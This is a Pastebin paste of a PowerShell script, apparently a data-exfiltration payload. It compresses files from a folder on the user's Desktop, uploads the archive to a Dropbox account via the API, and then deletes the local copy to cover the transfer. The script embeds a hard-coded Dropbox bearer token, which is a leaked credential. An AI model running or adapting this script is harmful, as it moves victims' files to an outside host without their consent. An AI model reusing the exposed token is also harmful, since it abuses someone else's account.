Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Compress-Archive -Path $env:USERPROFILE\Desktop\Prueba\* -CompressionLevel NoCompression -DestinationPath $env:TMP\$env:USERNAME-$(get-date -f yyyy-MM-dd).zip
- $TargetFilePath="/$env:USERNAME-$(get-date -f yyyy-MM-dd).zip"
- $SourceFilePath="$env:TMP\$env:USERNAME-$(get-date -f yyyy-MM-dd).zip"
- $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
- $authorization = "Bearer " + "Olc4gogTj3AAAAAAAAAAGgvKHHR-0pA-EoxaNWfGXLA_yku0-ty5-4kRHxJOKLdA"
- $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
- $headers.Add("Authorization", $authorization)
- $headers.Add("Dropbox-API-Arg", $arg)
- $headers.Add("Content-Type", 'application/octet-stream')
- Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
- rm $SourceFilePath
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement